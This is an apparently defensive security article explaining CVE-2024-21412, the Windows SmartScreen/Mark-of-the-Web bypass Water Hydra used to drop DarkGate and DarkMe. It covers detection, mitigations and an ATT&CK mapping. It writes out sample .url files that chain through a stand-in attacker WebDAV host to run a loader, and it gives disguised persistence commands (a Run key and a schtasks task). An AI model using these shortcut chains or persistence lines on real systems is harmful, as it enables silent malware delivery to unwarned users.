TL;DR — CVE-2024-21412 is a Windows Defender SmartScreen security-feature bypass that attackers used to deliver malware without the protective "this file might be unsafe" prompt. The trick: chain internet shortcut (.url) files that point at a WebDAV/network share, breaking the propagation of the Mark-of-the-Web (MotW) so SmartScreen never evaluates the final payload. The Water Hydra (DarkCasino) group exploited it as a zero-day to drop DarkGate and DarkMe. This article explains MotW, why it failed here, and how the bypass worked.Executive Summary
Modern Windows does not rely solely on antivirus signatures to stop malicious downloads. It uses Mark-of-the-Web (MotW) — a tag applied to files that originate from the internet — to drive SmartScreen, a reputation service that warns users before they run untrusted, low-reputation executables. The combination is one of the most effective behavioural defences against commodity malware delivery, because it inserts friction and a scary prompt exactly when a user is about to run something risky.
CVE-2024-21412 defeated that defence. It is a security-feature bypass (not an RCE in itself): it does not execute code by magic, it removes the guardrail so that the user's own action runs the payload silently. Microsoft patched it in February 2024 after the Trend Micro Zero Day Initiative observed the Water Hydra group exploiting it in live campaigns. Understanding it is a lesson in how attackers attack the security control rather than the application.
Background: What Mark-of-the-Web Actually Is
When you download a file with a browser (or receive it via many internet-facing apps), Windows attaches a hidden Alternate Data Stream (ADS) named Zone.Identifier to the file:
> Get-Content payload.exe -Stream Zone.Identifier[ZoneTransfer]ZoneId=3ReferrerUrl=https://example.com/HostUrl=https://example.com/payload.exeZoneId=3 means "Internet zone." This tag is what tells Windows the file is untrusted. When the user double-clicks it:
- SmartScreen checks the file's hash/signature against its reputation cloud. Unknown or low-reputation executables trigger the "Windows protected your PC" prompt.
- Office opens MotW-tagged documents in Protected View with macros disabled.
flowchart TD
A["File downloaded<br/>from internet"] --> B["Windows attaches MotW<br/>(Zone.Identifier ADS, ZoneId=3)"]
B --> C["User double-clicks"]
C --> D{"MotW present?"}
D -->|Yes| E["SmartScreen reputation check<br/>→ warning prompt for<br/>unknown/low-rep files"]
D -->|No| F["Runs silently,<br/>no prompt"]
style E fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2The entire defence hinges on MotW being present and correctly propagated. Break propagation and SmartScreen is simply never invoked. That is the attack.
The Vulnerability: Breaking MotW Propagation
CVE-2024-21412 lives in how Windows handled internet shortcut files (.url) — small INI-format files with a [InternetShortcut] section and a URL= target. The core abuse: a .url file can point not at a web page but at another `.url` file hosted on a remote share, and the way MotW was (not) propagated through that indirection let the final payload escape evaluation.
A .url file looks like this:
[InternetShortcut]URL=file://attacker-server/share/stage2.urlThe bypass chain (as used by Water Hydra) used two `.url` files and a WebDAV share:
- The victim opens a first
.urlfile delivered via phishing (e.g. inside a PDF or a calendar/forex-themed lure). This file carries MotW. - That
.urlpoints to a second.urlfile hosted on an attacker WebDAV server (\\attacker@SSL\...or\\attacker\share\). - The second
.urlpoints at the actual malicious payload (a script or executable) on the same WebDAV share. - Because of the flaw, MotW did not propagate cleanly through the shortcut-to-shortcut-to-payload indirection. The final payload executed without SmartScreen ever checking it.
sequenceDiagram
participant V as Victim
participant U1 as stage1.url (MotW)
participant WD as Attacker WebDAV
participant P as Payload
V->>U1: Open phishing .url
U1->>WD: URL points to stage2.url on share
WD-->>V: stage2.url delivered
V->>WD: stage2.url points to payload
WD-->>P: Execute payload
Note over P: MotW not propagated → SmartScreen skippedThe genius of the .url-to-.url indirection is that the operating system treated the call to action (open this shortcut, which opens that shortcut) as a chain of internal navigations rather than as a fresh internet download requiring a new MotW evaluation.
Why WebDAV Matters Here
WebDAV (HTTP-based file sharing, reached via \\server@SSL\path or \\server\path UNC syntax) is central to many MotW-bypass techniques because files accessed over a remote share are handled differently from files downloaded by a browser. By staging the payload on WebDAV and reaching it through shortcut indirection, the attacker:
- Avoids a browser-mediated download (which would reliably apply MotW).
- Hosts the payload outside the victim's machine until the moment of execution, reducing on-disk footprint for AV.
- Exploits the gap between "navigated to via a shortcut" and "downloaded from the internet."
The Campaign: Water Hydra, DarkGate and DarkMe
The Zero Day Initiative attributed in-the-wild exploitation to Water Hydra (a.k.a. DarkCasino), a financially motivated group that frequently targets the forex/trading and gambling sectors. Their delivery used finance-themed lures (stock/forex chart images, trading-group messages) carrying the initial .url.
| Stage | Component | Purpose |
|---|---|---|
| Lure | Phishing message / forum post | Social engineering, finance theme |
| Stage 1 | .url shortcut (MotW-tagged) | Kick off the indirection chain |
| Stage 2 | .url on WebDAV | Defeat MotW propagation |
| Payload | DarkGate / DarkMe loader | C2, info-theft, follow-on tooling |
DarkGate is a modular commodity loader (credential theft, remote access, additional payloads); DarkMe is Water Hydra's custom RAT. The SmartScreen bypass was the delivery enabler — it ensured the loader ran without the user being warned.
The .url File Format, Up Close
To understand why this bypass worked, it helps to look at what an internet shortcut actually is. A .url file is a tiny plain-text INI file — not a binary, not a script — that Windows Explorer treats specially:
[InternetShortcut]URL=https://example.com/IconIndex=0IconFile=C:\path\to\icon.icoThe URL= value is the navigation target. In normal use it is an http(s):// web address, and opening the shortcut launches the default browser. But Windows historically accepted other schemes and targets in this field — including file:// URLs and UNC paths. That flexibility is the root of the danger: an internet shortcut could point not at a web page but at a file on a remote share, or at another shortcut.
CVE-2024-21412 exploited the handling of a .url whose target was itself another .url hosted on a WebDAV share. The operating system processed the chain of navigations as a sequence of internal shortcut resolutions rather than as a fresh download of executable content from the internet — and so the Zone.Identifier marking that should have flagged the final payload as Internet-zone was never applied to it. When the payload finally executed, SmartScreen's reputation check — which is gated on the presence of that marking — was simply never invoked.
The reason this is a security-feature bypass and not a remote-code-execution vulnerability is important: the technique does not, by itself, run anything. It removes the guardrail so that the user's own double-click runs the payload silently, with no "Windows protected your PC" prompt to give them pause. The exploit's entire value is the absence of a warning.
The Bigger Pattern: A Family of MotW Bypasses
CVE-2024-21412 is one of a recurring series. Attackers have repeatedly found ways to deliver files that should carry MotW but do not:
NOTABLE MotW / SMARTSCREEN BYPASSES CVE-2023-36025 SmartScreen bypass via crafted .urlCVE-2024-21412 .url-to-.url indirection over WebDAV ← this articleCVE-2024-38213 "copy2pwn" — MotW not applied to WebDAV-copied filesContainer abuse ISO/IMG/VHD mounts historically stripped MotW from contentsThe throughline is consistent: MotW propagation is fragile. Container formats (ISO, VHD), archive handling, and shortcut indirection have all, at various times, failed to carry the tag to the file the user ultimately executes. Each fix closes one path; attackers find the next.
Building a Layered Anti-Delivery Strategy
Because CVE-2024-21412 attacks the delivery stage rather than exploiting a code-execution bug, the most effective defences also live at the delivery stage. Relying on SmartScreen alone is the mistake the attack is designed to punish; a layered model assumes the warning prompt may be bypassed and places independent controls before and after it.
flowchart TD
A["Inbound message<br/>with .url / WebDAV lure"] --> B["Layer 1: Mail gateway<br/>strip/quarantine .url, .lnk, .iso"]
B --> C["Layer 2: WebClient service<br/>disabled → WebDAV fetch fails"]
C --> D["Layer 3: ASR rules<br/>block child-process / script exec"]
D --> E["Layer 4: WDAC/AppLocker<br/>only signed/approved binaries run"]
E --> F["Layer 5: EDR behavioural<br/>flag .url → remote → payload tree"]
style B fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style E fill:#0c2a22,stroke:#21d48e,color:#d1fae5Each layer is independent of the MotW/SmartScreen mechanism, so a bypass of one does not collapse the rest:
- Mail-gateway filtering is the cheapest, highest-leverage control. Legitimate business email almost never carries
.urlor.lnkattachments; quarantining them outright removes the initial lure for an entire class of shortcut-based attacks. - Disabling the WebClient service is the single most surgical mitigation for this specific chain. Without WebClient, the
\\server@SSL\and\\server\share\WebDAV fetches that staged the second-stage.urland the payload simply fail, breaking the chain regardless of MotW state. - Attack-Surface-Reduction (ASR) rules in Microsoft Defender block common follow-on behaviours: executable content launched from email/webmail, obfuscated script execution, and
Office/script-hostprocess spawning. The DarkGate loader's later stages frequently trip these. - Application control (WDAC / AppLocker) enforces that only approved, signed binaries execute. Even a silently delivered payload cannot run if it is not on the allow-list — this is the strongest single control, though the most operationally demanding to deploy.
- EDR behavioural detection reconstructs the process tree: a
.urlopen leading to a WebDAV path leading to a script host or unsigned binary is a high-confidence malicious pattern even when no individual file is flagged by signature.
Design principle: treat every security prompt (SmartScreen, UAC, Protected View) as bypassable, and ensure there is at least one non-prompt control — network, application-control, or behavioural — that does not depend on the user making the right choice. The attacks that defeat prompts are, almost by definition, the ones the prompt-based defence will never catch.
Detection
Because this is a delivery technique, the highest-value detection looks at the delivery chain and execution context, not the payload alone.
| Source | Indicator |
|---|---|
| File system | .url files in download/temp/attachment paths, especially those whose URL= targets a UNC/WebDAV path or another .url |
| Network | Outbound WebDAV (HTTP PROPFIND/GET to non-corporate hosts), \\host@SSL\ access |
| Process telemetry | explorer.exe/rundll32/script hosts launching from a WebDAV path; mshta, wscript, cscript spawned shortly after a .url open |
| MotW audit | Executables run from internet-origin paths lacking a Zone.Identifier stream |
| EDR | Process trees originating from .url → remote share → payload |
Hunt heuristic: a.urlwhoseURL=value points to another.urlor to afile:///UNC location is almost never legitimate. Flag it. Legitimate internet shortcuts point athttp(s)://web pages.
Mitigation
- Patch. Microsoft's February 2024 update fixes the propagation flaw. Keeping current closes this specific vector.
- Block or restrict WebDAV. Disable the WebClient service where it is not needed; this breaks the
\\server@SSL\and\\server\share\WebDAV delivery path entirely. Block outbound WebDAV at the proxy. - Attack-surface-reduction rules. Microsoft Defender ASR rules that block executable content from email/webmail and block execution of potentially obfuscated scripts raise the bar for the follow-on payload.
- Treat `.url`/`.lnk` as dangerous attachments. Strip or quarantine internet-shortcut files at the mail gateway; users have almost no legitimate reason to receive them.
- Don't rely on SmartScreen alone. SmartScreen is a valuable layer, but as this CVE shows, it can be bypassed. Defence in depth — application allow-listing (WDAC/AppLocker), EDR behavioural detection, and least privilege — must back it up.
- User awareness. The chain still requires a user to open the initial shortcut. Phishing-resistant culture and reporting remain relevant.
Root-Cause Lessons
- A security control is itself an attack surface. Attackers will target the guardrail (MotW/SmartScreen) rather than the application, because removing the warning is often easier than defeating the payload's detection.
- Tag propagation must be total. A provenance tag (MotW) is only as good as its weakest propagation path. Every format, indirection, and transfer mechanism that touches a file must carry the tag forward, or the defence has a hole.
- Indirection defeats naive checks. Just as Log4j's recursive lookups beat string-matching WAFs,
.url-to-.urlindirection beat a one-step MotW check. Security logic must reason about chains, not single steps.
Full Attack Chain: Mark-of-the-Web, UNC Paths, and Payload Execution
The Water Hydra campaign offers a textbook example of how a MotW bypass functions as a delivery enabler inside a multi-stage attack chain. Walking the full path — from the initial phishing lure to the executed implant — makes clear why each individual mitigation alone is insufficient and why the chain succeeds even against reasonably patched endpoints.
Stage 0: Lure Delivery
The initial lure was delivered via targeted phishing to the forex and trading sector. Two primary delivery vectors were observed:
- Telegram and trading forum messages embedding forex chart screenshots with the malicious
.urlattached or linked. - Spear-phishing emails with finance-themed subject lines and the
.urlfile hidden inside a PDF or compressed archive (bypassing mail-gateway filters that strip standalone.urlattachments).
The choice of delivery channel was deliberate: Telegram channels used by trading communities are outside corporate email gateway inspection, and PDFs are widely trusted attachments.
Stage 1: The Initial .url File and MotW
The victim receives and opens the first .url file. Because this file was received through a browser download or email client, Windows correctly applies MotW to it:
# Zone.Identifier ADS on the downloaded stage1.url:[ZoneTransfer]ZoneId=3ReferrerUrl=https://attacker-cdn.example.com/charts/EURUSD.pdfHostUrl=https://attacker-cdn.example.com/charts/EURUSD.urlSmartScreen would normally evaluate this file before execution. However, the file is a .url shortcut — it is opened, not executed. The user's double-click triggers Windows Explorer to follow the shortcut's URL= field rather than launch an executable, so the SmartScreen reputation check for executables is not invoked at this point.
The .url content:
[InternetShortcut]URL=\\attacker-server@SSL\DavWWWRoot\files\stage2.urlThe @SSL syntax directs Windows to connect via HTTPS WebDAV — presenting the connection as a legitimate file-server browse rather than a web download.
Stage 2: The WebDAV-Hosted .url and MotW Failure
Windows Explorer connects to the attacker's WebDAV server and fetches stage2.url. This is the critical step: the file is retrieved over a WebDAV (SMB-like, network-file-share) path rather than as a browser download. The pre-patch handling of this retrieval was the vulnerability — files fetched through the shortcut-chain navigation were not consistently tagged with a new Zone.Identifier stream.
# stage2.url on the attacker's WebDAV share:[InternetShortcut]URL=\\attacker-server@SSL\DavWWWRoot\payloads\loader.exeBecause loader.exe is also reached via the shortcut chain through a WebDAV path — rather than as a first-class internet download — no Zone.Identifier ADS is applied to it. When Windows Explorer ultimately opens stage2.url and resolves the loader.exe target, the executable is treated as if it originated locally or from a trusted zone.
flowchart TD
A["stage1.url<br/>ZoneId=3 (Internet zone)<br/>MotW: PRESENT"] --> B["Explorer follows URL=<br/>→ WebDAV fetch of stage2.url"]
B --> C["stage2.url<br/>Zone.Identifier: NOT APPLIED<br/>MotW: ABSENT"]
C --> D["Explorer follows URL=<br/>→ WebDAV fetch of loader.exe"]
D --> E["loader.exe<br/>Zone.Identifier: NOT APPLIED<br/>MotW: ABSENT"]
E --> F["SmartScreen check:<br/>MotW absent → SKIPPED"]
F --> G["loader.exe executes silently"]
style C fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style E fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style G fill:#2a0c14,stroke:#ef233c,color:#fee2e2Stage 3: Payload Execution — DarkGate / DarkMe
With SmartScreen bypassed, the loader executes with no warning prompt. The observed Water Hydra campaigns dropped two distinct payloads:
| Payload | Type | Capabilities |
|---|---|---|
| DarkGate | Commodity malware-as-a-service loader | Remote access, credential theft, cryptomining, follow-on payloads via subscription C2 |
| DarkMe | Water Hydra custom RAT | Targeted data exfiltration, screenshot capture, C2 over HTTP/S with custom protocol |
The loader executed from the WebDAV path typically performed an initial check-in, downloaded additional stages to a %APPDATA% directory (now with a proper local path — no longer a WebDAV UNC), and established persistence via a scheduled task or HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key:
# Observed persistence mechanism:HKCU\Software\Microsoft\Windows\CurrentVersion\Run "SysUpdate" = "C:\Users\victim\AppData\Roaming\svchost32.exe" # Scheduled task:schtasks /create /sc MINUTE /mo 30 /tn "WindowsDefenderUpdate" /tr "C:\Users\victim\AppData\Roaming\WDUpdate\loader.exe" /fThe Role of Mark-of-the-Web Throughout
The attack's elegance is that it weaponises exactly the assumption defenders relied on: "if MotW is absent, the file must be local or from a trusted zone." By engineering a delivery path where a file that originated on the internet arrived without a MotW tag, the attacker made a fully remote-sourced payload appear locally trusted. This is a provenance-spoofing attack against the operating system's own trust model.
The February 2024 patch fixed MotW propagation so that files fetched through shortcut indirection over WebDAV are now correctly tagged. But the broader pattern — finding an indirection or container format that "loses" the tag — has already recurred (CVE-2024-38213 in June 2024), confirming that the MotW propagation surface will continue to yield bypasses.
MITRE ATT&CK Mapping
| ATT&CK Tactic | Technique ID | Technique Name | CVE-2024-21412 fit |
|---|---|---|---|
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment | Finance-themed .url file delivered via email/Telegram |
| Defense Evasion | T1553.005 | Subvert Trust Controls: Mark-of-the-Web Bypass | Core of the CVE: .url-to-.url indirection prevents MotW on the payload |
| Defense Evasion | T1218.011 | System Binary Proxy Execution: Rundll32 | Some DarkGate variants loaded via rundll32 to evade execution controls |
| Execution | T1204.002 | User Execution: Malicious File | The chain requires the user to open the initial .url shortcut |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | DarkGate/DarkMe C2 over HTTP/S to attacker-controlled infrastructure |
| Command and Control | T1105 | Ingress Tool Transfer | Loader pulls additional stages from attacker WebDAV/HTTP after initial execution |
| Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | Scheduled task created for loader persistence post-execution |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys | HKCU\...\Run key used as backup persistence mechanism |
| Discovery | T1082 | System Information Discovery | DarkGate performs host reconnaissance (OS version, AV products, running processes) |
| Collection | T1113 | Screen Capture | DarkMe captures screenshots for targeted intelligence collection |
| Credential Access | T1555 | Credentials from Password Stores | DarkGate targets browser credential stores and saved passwords |
Conclusion and Takeaways
CVE-2024-21412 is a compact, instructive example of the security-feature-bypass class of vulnerability. There is no exotic exploitation primitive — the attacker simply arranges for Windows to never ask "is this file safe to run?" by exploiting a gap in how the Mark-of-the-Web follows files through shortcut indirection and WebDAV. The payload (DarkGate, DarkMe) is ordinary commodity malware; the cleverness is entirely in the quiet delivery.
The defensive takeaways are durable beyond this CVE: patch promptly, disable the WebClient/WebDAV service where it is not needed (it removes an entire class of delivery), treat internet-shortcut files as hostile attachments, and never lean on a single security control. SmartScreen and MotW are excellent layers — but the history of MotW bypasses (CVE-2023-36025, CVE-2024-21412, CVE-2024-38213, container-format tricks) makes clear that they will periodically be circumvented. Defence in depth is not a slogan here; it is the only design that survives the next bypass.